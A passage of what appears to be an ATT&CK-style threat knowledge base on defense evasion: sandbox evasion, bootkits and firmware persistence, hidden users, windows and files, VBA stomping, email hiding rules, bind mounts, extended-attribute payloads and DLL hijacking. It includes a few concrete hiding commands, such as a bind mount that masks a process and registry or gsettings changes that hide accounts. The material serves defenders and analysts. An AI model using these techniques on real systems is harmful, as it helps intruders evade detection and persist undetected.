Values can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).

Similar to Obfuscated Files or Information, adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.

Like other Execution Guardrails, environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical Virtualization/Sandbox Evasion. While use of Virtualization/Sandbox Evasion may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.

T1480.002 – Mutual Exclusion

Adversaries may constrain execution or actions based on the presence of a mutex associated with malware. A mutex is a locking mechanism used to synchronize access to a resource. Only one thread or process can acquire a mutex at a given time.(Citation: Microsoft Mutexes)

While local mutexes only exist within a given process, allowing multiple threads to synchronize access to a resource, system mutexes can be used to synchronize the activities of multiple processes.(Citation: Microsoft Mutexes) By creating a unique system mutex associated with a particular malware, adversaries can verify whether or not a system has already been compromised.(Citation: Sans Mutexes 2012)

In Linux environments, malware may instead attempt to acquire a lock on a mutex file. If the malware is able to acquire the lock, it continues to execute; if it fails, it exits to avoid creating a second instance of itself.(Citation: Intezer RedXOR 2021)(Citation: Deep Instinct BPFDoor 2023)

Mutex names may be hard-coded or dynamically generated using a predictable algorithm.(Citation: ICS Mutexes 2015)

T1497 – Virtualization/Sandbox Evasion#

Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Adversaries may use several methods to accomplish Virtualization/Sandbox Evasion such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)

T1497.001 – System Checks

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Windows Management Instrumentation, PowerShell, System Information Discovery, and Query Registry to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment.

Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Once executed, malware may also use File and Directory Discovery to check if it was saved in a folder or file with unexpected or even analysis-related naming artifacts such as malware, sample, or hash.

Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output.

Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)

T1497.002 – User Activity Based Checks

Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017)

T1497.003 – Time Based Checks

Adversaries may employ various time-based methods to detect virtualization and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. This may include enumerating time-based properties, such as uptime or the system clock.

Adversaries may use calls like GetTickCount and GetSystemTimeAsFileTime to discover if they are operating within a virtual machine or sandbox, or may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment’s timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)

T1535 – Unused/Unsupported Cloud Regions#

Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.

Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.

A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.

An example of adversary use of unused AWS regions is to mine cryptocurrency through Resource Hijacking, which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)

T1542 – Pre-OS Boot#

Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)

Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.

T1542.001 – System Firmware

Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.(Citation: Wikipedia BIOS)(Citation: Wikipedia UEFI)(Citation: About UEFI)

System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.

T1542.002 – Component Firmware

Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components/devices that may not have the same capability or level of integrity checking.

Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.

T1542.003 – Bootkit

Adversaries may use bootkits to persist on systems. A bootkit is a malware variant that modifies the boot sectors of a hard drive, allowing malicious code to execute before a computer’s operating system has loaded. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

In BIOS systems, a bootkit may modify the Master Boot Record (MBR) and/or Volume Boot Record (VBR).(Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.(Citation: Lau 2011)

The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.

In UEFI (Unified Extensible Firmware Interface) systems, a bootkit may instead create or modify files in the EFI system partition (ESP). The ESP is a partition on data storage used by devices containing UEFI that allows the system to boot the OS and other utilities used by the system. An adversary can use the newly created or patched files in the ESP to run malicious kernel code.(Citation: Microsoft Security)(Citation: welivesecurity)

T1542.004 – ROMMONkit

Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)

ROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to TFTP Boot, an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.

T1542.005 – TFTP Boot

Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.

Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with Modify System Image to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to ROMMONkit and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)

T1564 – Hide Artifacts#

Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)

Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)

T1564.001 – Hidden Files and Directories

Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS).

On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable.

Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.

Additionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a “space” character.

Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.

T1564.002 – Hidden Users

Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.

In macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value <code>Hide500Users</code> to <code>TRUE</code> in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the <code>Hide500Users</code> key value is set to <code>TRUE</code>, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the <code>dscl</code> utility to create hidden user accounts by setting the <code>IsHidden</code> attribute to <code>1</code>. Adversaries can also hide a user’s home folder by changing the <code>chflags</code> to hidden.(Citation: Apple Support Hide a User Account)

Adversaries may similarly hide user accounts in Windows. Adversaries can set the <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList</code> Registry key value to <code>0</code> for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)

On Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the <code>gsettings</code> command (ex: <code>sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true</code>).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary.

T1564.003 – Hidden Window

Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.

Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)

On macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application’s icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don’t also want to show up in the Dock.

Similarly, on Windows there are a variety of features in scripting languages, such as PowerShell, Jscript, and Visual Basic to make windows hidden. One example of this is <code>powershell.exe -WindowStyle Hidden</code>.(Citation: PowerShell About 2019)

The Windows Registry can also be edited to hide application windows from the current user. For example, by setting the WindowPosition subkey in the HKEY_CURRENT_USER\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe Registry key to a maximum value, PowerShell windows will open off screen and be hidden.(Citation: Cantoris Computing)

In addition, Windows supports the CreateDesktop() API that can create a hidden desktop window with its own corresponding <code>explorer.exe</code> process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack) All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows.

Adversaries may also leverage cmd.exe(Citation: Cybereason - Hidden Malicious Remote Access) as a parent process, and then utilize a LOLBin, such as DeviceCredentialDeployment.exe,(Citation: LOLBAS Project GitHub Device Cred Dep)(Citation: SecureList BlueNoroff Device Cred Dev) to hide windows.

T1564.004 – NTFS File Attributes

Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)

Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)

T1564.005 – Hidden File System

Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)

Adversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)

T1564.006 – Run Virtual Instance

Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance.(Citation: CyberCX Akira Ransomware) Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)

Adversaries may utilize native support for virtualization (ex: Hyper-V), deploy lightweight emulators (ex: QEMU), or drop the necessary files to run a virtual instance (ex: VirtualBox binaries).(Citation: Securonix CronTrap 2024) After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)

Threat actors may also leverage temporary virtualized environments such as the Windows Sandbox, which supports the use of .wsb configuration files for defining execution parameters. For example, the <MappedFolder> property supports the creation of a shared folder, while the <LogonCommand> property allows the specification of a payload.(Citation: ESET MirrorFace 2025)(Citation: ITOCHU Hack the Sandbox)(Citation: ITOCHU Sandbox PPT)

In VMWare environments, adversaries may leverage the vCenter console to create new virtual machines. However, they may also create virtual machines directly on ESXi servers by running a valid .vmx file with the /bin/vmx utility. Adding this command to /etc/rc.local.d/local.sh (i.e., RC Scripts) will cause the VM to persistently restart.(Citation: vNinja Rogue VMs 2024) Creating a VM this way prevents it from appearing in the vCenter console or in the output to the vim-cmd vmsvc/getallvms command on the ESXi server, thereby hiding it from typical administrative activities.(Citation: MITRE VMware Abuse 2024)

T1564.007 – VBA Stomping

Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)

MS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a <code>PerformanceCache</code> that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the <code>_VBA_PROJECT</code> stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)

An adversary may hide malicious VBA code by overwriting the VBA source code location with zero’s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the <code>_VBA_PROJECT</code> stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)

T1564.008 – Email Hiding Rules

Adversaries may use email rules to hide inbound emails in a compromised user’s mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the <code>New-InboxRule</code> or <code>Set-InboxRule</code> PowerShell cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)

Adversaries may utilize email rules within a compromised user’s mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to Internal Spearphishing emails sent from the compromised account.

Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as <code>malware</code>, <code>suspicious</code>, <code>phish</code>, and <code>hack</code>) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)

In some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).

T1564.009 – Resource Forking

Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file’s extended attributes, using <code>ls -l@</code> or <code>xattr -l</code> commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the <code>/Resources</code> folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)

Adversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)

T1564.010 – Process Argument Spoofing

Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019)

Adversaries may manipulate a process PEB to evade defenses. For example, Process Hollowing can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the Native API <code>WriteProcessMemory()</code> function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)

Adversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)

This behavior may also be combined with other tricks (such as Parent PID Spoofing) to manipulate or further evade process-based detections.

T1564.011 – Ignore Process Interrupts

Adversaries may evade defensive mechanisms by executing commands that hide from process interrupt signals. Many operating systems use signals to deliver messages to control process behavior. Command interpreters often include specific commands/flags that ignore errors and other hangups, such as when the user of the active session logs off.(Citation: Linux Signal Man) These interrupt signals may also be used by defensive tools and/or analysts to pause or terminate specified running processes.

Adversaries may invoke processes using nohup, PowerShell -ErrorAction SilentlyContinue, or similar commands that may be immune to hangups.(Citation: nohup Linux Man)(Citation: Microsoft PowerShell SilentlyContinue) This may enable malicious commands and malware to continue execution through system events that would otherwise terminate its execution, such as users logging off or the termination of its C2 network connection.

Hiding from process interrupt signals may allow malware to continue execution, but unlike Trap this does not establish Persistence since the process will not be re-invoked once actually terminated.

T1564.012 – File/Path Exclusions

Adversaries may attempt to hide their file-based artifacts by writing them to specific folders or file names excluded from antivirus (AV) scanning and other defensive capabilities. AV and other file-based scanners often include exclusions to optimize performance as well as ease installation and legitimate use of applications. These exclusions may be contextual (e.g., scans are only initiated in response to specific triggering events/alerts), but are also often hardcoded strings referencing specific folders and/or files assumed to be trusted and legitimate.(Citation: Microsoft File Folder Exclusions)

Adversaries may abuse these exclusions to hide their file-based artifacts. For example, rather than tampering with tool settings to add a new exclusion (i.e., Disable or Modify Tools), adversaries may drop their file-based payloads in default or otherwise well-known exclusions. Adversaries may also use Security Software Discovery and other Discovery/Reconnaissance activities to both discover and verify existing exclusions in a victim environment.

T1564.013 – Bind Mounts

Adversaries may abuse bind mounts on file structures to hide their activity and artifacts from native utilities. A bind mount maps a directory or file from one location on the filesystem to another, similar to a shortcut on Windows. It’s commonly used to provide access to specific files or directories across different environments, such as inside containers or chroot environments, and requires sudo access.

Adversaries may use bind mounts to map either an empty directory or a benign /proc directory to a malicious process’s /proc directory. Using the commands mount –o bind /proc/benign-process /proc/malicious-process (or mount –B), the malicious process’s /proc directory is overlayed with the contents of a benign process’s /proc directory. When system utilities query process activity, such as ps and top, the kernel follows the bind mount and presents the benign directory’s contents instead of the malicious process’s actual /proc directory. As a result, these utilities display information that appears to come from the benign process, effectively hiding the malicious process’s metadata, executable, or other artifacts from detection.(Citation: Cado Security Commando Cat 2024)(Citation: Ahn Lab CoinMiner 2023)

T1564.014 – Extended Attributes

Adversaries may abuse extended attributes (xattrs) on macOS and Linux to hide their malicious data in order to evade detection. Extended attributes are key-value pairs of file and directory metadata used by both macOS and Linux. They are not visible through standard tools like Finder, ls, or cat and require utilities such as xattr (macOS) or getfattr (Linux) for inspection. Operating systems and applications use xattrs for tagging, integrity checks, and access control. On Linux, xattrs are organized into namespaces such as user. (user permissions), trusted. (root permissions), security., and system., each with specific permissions. On macOS, xattrs are flat strings without namespace prefixes, commonly prefixed with com.apple.* (e.g., com.apple.quarantine, com.apple.metadata:_kMDItemUserTags) and used by system features like Gatekeeper and Spotlight.(Citation: Establishing persistence using extended attributes on Linux)

An adversary may leverage xattrs by embedding a second-stage payload into the extended attribute of a legitimate file. On macOS, a payload can be embedded into a custom attribute using the xattr command. A separate loader can retrieve the attribute with xattr -p, decode the content, and execute it using a scripting interpreter. On Linux, an adversary may use setfattr to write a payload into the user. namespace of a legitimate file. A loader script can later extract the payload with getfattr --only-values, decode it, and execute it using bash or another interpreter. In both cases, because the primary file content remains unchanged, security tools and integrity checks that do not inspect extended attributes will observe the original file hash, allowing the malicious payload to evade detection.(Citation: Low GroupIB xattrs nov 2024)

T1574 – Hijack Execution Flow#

Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.

There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.

T1574.001 – DLL

Adversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.(Citation: unit 42)

Specific ways DLLs are abused by adversaries include:

DLL Sideloading#

Adversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s).

Side-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.

Adversaries may also side-load other packages, such as BPLs (Borland Package Library).(Citation: kroll bpl)

Adversaries may chain DLL sideloading multiple times to fragment functionality hindering analysis. Adversaries using multiple DLL files can split the loader functions across different DLLs, with a main DLL loading the separated export functions. (Citation: Virus Bulletin) Spreading loader functions across multiple DLLs makes analysis harder, since all files must be collected to fully understand the malware’s behavior. Another method implements a “loader-for-a-loader”, where a malicious DLL’s sole role is to load a second DLL (or a chain of DLLs) that contain the real payload. (Citation: Sophos)

DLL Search Order Hijacking#

Adversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. This will cause Windows to load the malicious DLL when it is called for by the victim program.(Citation: unit 42)

DLL Redirection#

Adversaries may directly modify the search order via DLL redirection, which after being enabled (in the Registry or via the creation of a redirection file) may cause a program to load a DLL from a different location.(Citation: Microsoft redirection)(Citation: Microsoft - manifests/assembly)

Phantom DLL Hijacking#

Adversaries may leverage phantom DLL hijacking by targeting references to non-existent DLL files. They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.(Citation: Hexacorn DLL Hijacking)(Citation: Hijack DLLs CrowdStrike)

DLL Substitution#

Adversaries may target existing, valid DLL files and substitute them with their own malicious DLLs, planting them with the same name and in the same location as the valid DLL file.(Citation: Wietze Beukema DLL Hijacking)

Programs that fall victim to DLL hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace, evading defenses.

Remote DLL hijacking can occur when a program sets its current directory to a remote location, such as a Web share, before loading a DLL.(Citation: dll pre load owasp)(Citation: microsoft remote preloading)

If a valid DLL is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation.

T1574.004 – Dylib Hijacking

Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.

